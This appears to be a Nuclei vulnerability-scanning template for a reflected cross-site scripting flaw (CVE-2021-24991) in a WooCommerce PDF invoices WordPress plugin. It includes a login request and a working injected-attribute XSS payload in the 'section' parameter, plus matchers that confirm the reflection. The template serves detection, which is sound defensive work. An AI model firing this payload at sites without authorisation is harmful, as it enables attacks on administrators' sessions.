id: CVE-2021-24991

info:
  name: WooCommerce PDF Invoices & Packing Slips WordPress Plugin < 2.10.5 - Cross-Site Scripting
  author: cckuailong
  severity: medium
  description: The Wordpress plugin WooCommerce PDF Invoices & Packing Slips before 2.10.5 does not escape the tab and section parameters before reflecting it an attribute, leading to a reflected cross-site scripting in the admin dashboard.
  remediation: |
    Update to the latest version of the WooCommerce PDF Invoices & Packing Slips WordPress Plugin (2.10.5 or higher) to mitigate the vulnerability.
  reference:
    - https://wpscan.com/vulnerability/88e706df-ae03-4665-94a3-db226e1f31a9
    - https://nvd.nist.gov/vuln/detail/CVE-2021-24991
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 4.8
    cve-id: CVE-2021-24991
    cwe-id: CWE-79
    epss-score: 0.00069
    epss-percentile: 0.29038
    cpe: cpe:2.3:a:wpovernight:woocommerce_pdf_invoices\&_packing_slips:*:*:*:*:*:wordpress:*:*
  metadata:
    max-request: 2
    vendor: wpovernight
    product: woocommerce_pdf_invoices\&_packing_slips
    framework: wordpress
  tags: cve,cve2021,xss,wp,wordpress,wp-plugin,authenticated,wpscan

http:
  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Origin: {{RootURL}}
        Content-Type: application/x-www-form-urlencoded
        Cookie: wordpress_test_cookie=WP%20Cookie%20check

        log={{username}}&pwd={{password}}&wp-submit=Log+In&testcookie=1
      - |
        GET /wp-admin/admin.php?page=wpo_wcpdf_options_page&section=%22+style%3Danimation-name%3Arotation+onanimationstart%3Dalert%28document.domain%29+x%3D HTTP/1.1
        Host: {{Hostname}}

    cookie-reuse: true

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "\" style=animation-name:rotation onanimationstart=alert(document.domain) x"
          - "WooCommerce PDF Invoices"
        condition: and

      - type: status
        status:
          - 200
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